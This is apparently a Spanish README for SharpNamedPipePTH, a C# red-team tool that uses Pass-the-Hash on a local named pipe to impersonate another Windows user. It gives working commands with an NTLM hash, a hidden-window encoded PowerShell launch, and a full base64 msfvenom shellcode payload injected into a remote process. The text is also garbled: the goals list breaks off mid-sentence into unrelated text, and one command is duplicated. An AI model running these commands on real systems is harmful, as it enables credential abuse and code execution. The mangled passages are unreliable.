
Pasar el hash a una tubería con nombre para la suplantación de tokens
Este proyecto es una herramienta en C# para usar Pass-the-Hash en la autenticación de una tubería con nombre local para la suplantación de usuario. Necesitas ser administrador local o tener derechos SEImpersonate para usarlo. Hay una publicación en el blog con la explicación:
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
Se basa en gran medida en el código del proyecto Sharp-SMBExec.
En el pasado me he enfrentado a ciertas situaciones de proyectos de Seguridad Ofensiva donde ya tenía el hash NTLM de una cuenta de usuario con bajos privilegios y necesitaba un shell para ese usuario en el sistema comprometido actual, pero eso no era posible con las herramientas públicas actuales. Imagina dos datos más para una situación así: el hash NTLM no podía ser descifrado y no hay ningún proceso del usuario víctima en el que inyectar shellcode o migrar. Esto puede sonar como un caso extremo absurdo para algunos de ustedes. Aun así, lo he experimentado varias veces. No solo en un compromiso, pasé mucho tiempo buscando la herramienta/técnica adecuada en esa situación específica.
Mis objetivos personales para una herramienta/técnica eran:
bajos privilegios – dependiendo de los objetivos del compromiso, podría ser necesario acceder a un sistema con un usuario específico como el CEO, cuentas de RRHH, administradores SAP u otrosDesafortunadamente, el usuario suplantado no tiene autenticación de red permitida, ya que el nuevo proceso utiliza un token de suplantación restringido. Por lo tanto, solo puedes usar esta técnica para acciones locales con otro usuario.
Hay dos formas de usar SharpNamedPipePTH. Puedes ejecutar un binario (con o sin argumentos):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
O puedes ejecutar shellcode como el otro usuario:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
Que es msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.
Todavía no estoy satisfecho con la ejecución de shellcode, ya que actualmente inicia notepad como el usuario suplantado e inyecta el shellcode en ese nuevo proceso mediante D/Invoke CreateRemoteThread Syscall. Sigo buscando la posibilidad de generar un proceso en segundo plano o ejecutar shellcode sin tener un proceso del usuario objetivo para la asignación de memoria.